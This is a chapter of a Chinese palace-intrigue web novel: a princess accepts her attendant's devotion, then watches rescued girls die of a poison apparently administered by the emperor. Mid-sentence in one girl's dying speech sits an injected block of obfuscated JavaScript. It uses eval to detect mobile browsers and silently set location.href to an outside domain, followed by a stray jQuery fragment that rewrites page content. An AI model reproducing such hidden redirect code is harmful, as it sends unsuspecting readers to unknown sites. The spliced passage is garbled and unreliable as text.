前一句话音还未落,楚云又接着说:
“但楚云清楚,公主有自己的考量。今日所说,并不是为了这个。”
黎安没挪动眼神,在等待他的下文。
“我知道公主一直不喜欢府内太过热闹,若不是为了配合陛下,也不会接纳那么多人进府。”
这么多年了,他虽然不知道黎安和皇帝究竟在演什么戏,但他陪在黎安身边最久,最清楚、也最在意她的动向。
黎安几乎没有踏足过几次西暖阁,她最喜欢的,还是关上院门自己躲清净。
“楚云不求有名,只想为您解忧。
日后,楚云想成为您拒绝他们的理由,哪怕只是借口。”
还有——
“也想因此……多得您几分垂青。”
身后是渐渐浓烈的雨声,两人离得很近,楚云恍惚觉得,这世上好像只有他们两个人,和他做了许多次的梦一样。
他的眼神是坚定和祈求。
祈求黎安,再多给他一丝与旁人不同的东西。
终于,他眼眶中的身影动了,黎安点了点头。
“好。”
开辟西暖阁本也是顺着黎昭渊的意思,把公主府变成了他考量朝臣的关隘。
莫说如今黎安早已声名在外,就说他刚才借了西暖阁做成大事,短期为了遮掩他也不会再轻易动。
此刻,就是黎安为了将来的计划,清除府内眼线的最好时机。
一如当初黎安敞开大门,来者不拒地接受那些人进府一样,今日黎安也一定会答应楚云的请求。
“但我有个要求。”
楚云刚要欣喜,又被这转折顿住。
“……你以后不许大喊大叫了!”乖乖做个安安静静的美人儿不好嘛?
这句话黎安想说很久了。
她将食指轻轻悬在楚云嘴唇前,脸上是刻意堆叠起来的警告。
楚云眉毛一撇成了八字,又要扭捏:“公主是在嫌弃楚云?”
他讲话时并没收敛,嘴唇如愿触碰到黎安的手指。
黎安手掌上移,用两根手指撑开他皱着的眉头。
“莫要装腔作势!雨势越来越大了,快回去吧。”
楚云正要抗议,又听黎安说:
“最近好好休息养病,两日后陪我去紫极寺。”
虽然此次出行皆是女眷,除了随行内侍和贴身护卫外,外男皆不能入内,他只能在寺门外候着。
但年中祈福的队伍是从宫里出发的,时间又定在早朝后,到时一同去的女眷和下了朝的大臣都能看见,也正是为楚云正名的好机会。
楚云眼睛亮起来,想要开口讲话,又怕自己惹黎安嫌弃。
慌忙行了个乱七八糟的礼,又打着伞走进了雨里。
生怕慢一步,黎安就后悔了。
此刻雨已经有黄豆大小,淅淅沥沥落在青石板路上,敲得清脆。
楚云腰间环佩也随着他的脚步肩踵相接,叮叮当当。
黎安看着他匆忙的背影笑出了声。
·
这边楚云轻快的脚步踏出院子不久,春儿又踩着大雨匆忙往里面赶:
“公主!”
“公主,前些日子留在府上的几个姑娘,今日发起高烧,像是……不太好了。”
不太好了?
黎安沉下眉头:“不是只在京兆府那里受了些皮外伤,怎么会突然不好?”
“医师已在来的路上了,但我看那几个姑娘怕是撑不住太久,就先来报您。”
黎安快速起身,接过春儿递过来的伞,主仆二人边走边说,人命当前,已经顾不上被淋湿:
“接回来的时候可有异样?没瞧过医师?”
“瞧过的,但当时没诊出什么,就只开了外伤药。今日不知怎么,突然就……。”
忽而风起,不过短短一个拐弯儿的距离,黎安身上的衣服就已经冰凉。
推开客院儿的门,医师正愁眉苦脸地在堂中来回踱步,衣服上也还沾着未干的雨滴。
瞧见黎安进来,忙跪下行礼。
“不用多礼,人如何了?”
那医师竟未起身,跪着道:“求公主恕罪!是小人才疏学浅,未能在毒发前及时诊出,如今……”
他顿了顿,惋惜地伏下脑袋:
“如今已经无力回天了。”
黎安咬了咬牙,声音里带着怒气:“什么毒?何时中的?”
黎昭渊竟然把事情做得这么绝,是她又一次低估了他的谨慎和狠心。
那医师抖了抖,将头埋地更低:
“是千秋醉。
小人过去接触的不多,只听说是常常用在宅府死士的身上,出任务前饮下,七天内若无解药,便从内脏开始由内而外灼烧,状态如同喝醉,却药石无医,直到死亡。”
这样阴毒的药,自然也难以查证,他一个小小医师,诊不出来实属正常。
医师还伏在地上,一个小丫鬟从厢房内小跑着出来传话:
“公主,红蕊姑娘想见您。”
黎安没问过这几个姑娘的姓名,但还是和春儿对视一眼,跟上了那小丫鬟带路的步伐。
推开厢房的门,屋外风雨飘摇,而屋内是死寂。
床上躺着的人,连紊乱的呼吸声,都轻得有些听不见了。
“……见过公主殿下”
屏风后,红蕊想要强撑起身体行礼,但很快又重重落回床上。
床榻上的女子面色是诡异的红,甚至像是红得发了紫,但若没瞧见那双浑浊的眼睛,怕也真以为她是喝醉了。
黎安绕过屏风走近,仔细瞧着这张脸,半晌才认出,是那日在府上出言认罪的姑娘。
“免礼,你有什么想说的便说罢。”
红蕊艰难挤出一个不成样子的微笑,灼烧感已经蔓延到眼睛,她只能眼神涣散地盯着黎安的方向,已经看不清了。
“红蕊还没谢过公主,将我们从那牢中捞出来,还肯让我们留下来修养。”
红蕊声音很虚弱,但强撑着身体里混乱的气息,还在维持体面的对话。
黎安摇摇头。
于她而言的举手之劳,对红蕊三人来说就是救命之恩,她没理由不做。
“红蕊自知没机会报答,却还想厚着脸皮再求您一桩事——”
她用她仅剩的一点力气,从怀中取出一张撕的并不整齐的布条。
“红蕊本是昆山人,三年前昆山受灾,城内暴乱不断,人人自危。父母将我和弟弟悄悄送出城,想着先离开苟且
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453770|185275||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
偷生,等暴乱过去再回乡。
却没想到,我和弟弟刚出城不久,就听到乡里已被流民闯入,生杀劫掠,竟没几人活下来……”
她的眼泪从眼眶流出,还没滑至脸颊便被热气蒸干,空留一道道泪痕。
“可弟弟没能坚持到……我也因此流落至此。”
“……这是我家中地址,求公主,在我死后,将我的骨灰带回去,向双亲说一句,女儿不孝……”
红蕊颤巍巍地将布条递过去,家中贫苦,没有余钱买纸笔墨汁,那里面包裹着的,是母亲用指尖血液写下的家的位置。
“公主殿下大恩,红蕊今生无以为报,来世,若有来世……”
她早已经油尽灯枯,好不容易撑着一口气讲完了心中执念,终于肯闭上眼睛。
也许是摆脱了痛苦吧,她不再起伏的胸口,平静地像一汪泉水。
像是从没来过。
黎安抽出绣帕,缓缓蹲下来,一点一点擦拭着她眼角残余的泪痕。
她早知道三年前那场灾祸害了许多人,所以她不解、她怨恨、她立誓要自己站到那样高的位置,为那些死去的冤魂们鸣一句不公。
可说到底从前一切,不过是探子在密信上几个“伤亡无数”的字句。
今日,她眼睁睁看着一个从那场人间炼狱里拼了命逃出来的人死去。
甚至也许她根本就不叫红蕊。
就连她的姓名,也没被这世上留下的任何一个人记住。
黎安就这样在她床前,坐了许久许久。
远远站在屏风旁的春儿早已泪流满面。
进来通传的小丫鬟脚步沉重,“公主,那两个姑娘……没了。”
“可有留下什么话?”
黎安的背影一动不动,声音有些弱。
“没有,只是一直在喊痛,一直在哭。”却也哭不出眼泪。
·
公主府里死了三个姑娘,死的是三个没名没姓、不知来处的姑娘。
听说是公主偶然在街上捡来的,带回府中还没来得及赐名,几人便因病归了西。
宝宁公主念及与其有缘,特许了府内客院挂上白布、设立灵堂。
那三个姑娘的骨灰就整齐摆在客院正厅,只是没人祭拜。
没人会来祭拜。
两日过去,黎安依旧坐在主院摇椅里,只是不再逗弄小鸟。
“公主,陛下若查问起来,该如何是好?”春儿问道。
她们是光明正大地将红蕊几人接来公主府的。
皇帝既然给她们下了毒,就一定会知道她们几人的去向,如今公主却给了她们旁的身份,难保皇帝不会怀疑。
没想到黎安竟然咧开嘴笑了起来:“既已下了毒,他还在意她们做什么呢?”
她们到死也没多说一句话,也许是自愿服毒的,也许她们早知道说了也无用。
“父皇若听说了,最多‘赞’我一句——”
黎安将字咬得很重,像是猛兽在撕咬猎物。
“妇人之仁罢了。”
黎昭渊不会轻易怀疑她。
就像黎昭渊明知红蕊几人也许会成为了解真相的重要线索,仍然没阻止黎安把人救出来一样。
他不在乎女人,不在乎蝼蚁。